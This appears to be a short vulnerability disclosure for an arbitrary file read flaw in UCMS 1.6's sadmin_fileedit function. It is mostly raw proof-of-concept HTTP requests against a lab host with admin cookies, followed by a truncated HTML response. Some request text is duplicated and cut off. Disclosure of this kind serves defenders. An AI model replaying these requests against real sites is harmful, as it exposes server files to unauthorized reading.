



We send a request packet to read the file and change the parameter of dir to "/" to read the contents of the 1.txt file. There is no restriction on the parameter of dir here, which leads to the emergence of arbitrary file reading vulnerability.

```
GET /ucms_1.6/ucms/index.php?do=sadmin_fileedit&dir=/&file=1.txt HTTP/1.1
Host: 192.168.1.101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
exchange; v=b3; q=0.9
Referer: http://192.168.1.101/ucms_1.6/ucms/index.php?
do=sadmin_file&dir=/ucms_1.6
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_adc3f8=admin; psw_adc3f8=97376f13bb0b37ffdc31255d275d609c;
token adc3f8=8945ab62
Connection: close
```

```
GET
/ucms_1.6/ucms/index.php?do=sadmin_fil
eedit&dir=/&file=1.txt HTTP/1.1
Host: 192.168.1.101
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/99.0.4844.84 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
```

```
<textarea name="co"
style="height:100%;width:95%;"
rows="25" wrap="off" id="c2"
onblur="check('2')"
onkeyup="keyUp()"
onscroll="G('li').scrollTop =
this.scrollTop;"
oncontextmenu="return false"
class="grey">hack by www</textarea>
<script language="javascript"
type="text/javascript">
function insertpos(){
    var textbox =
document.getElementById('c2');
document.getElementById('pos').valu
```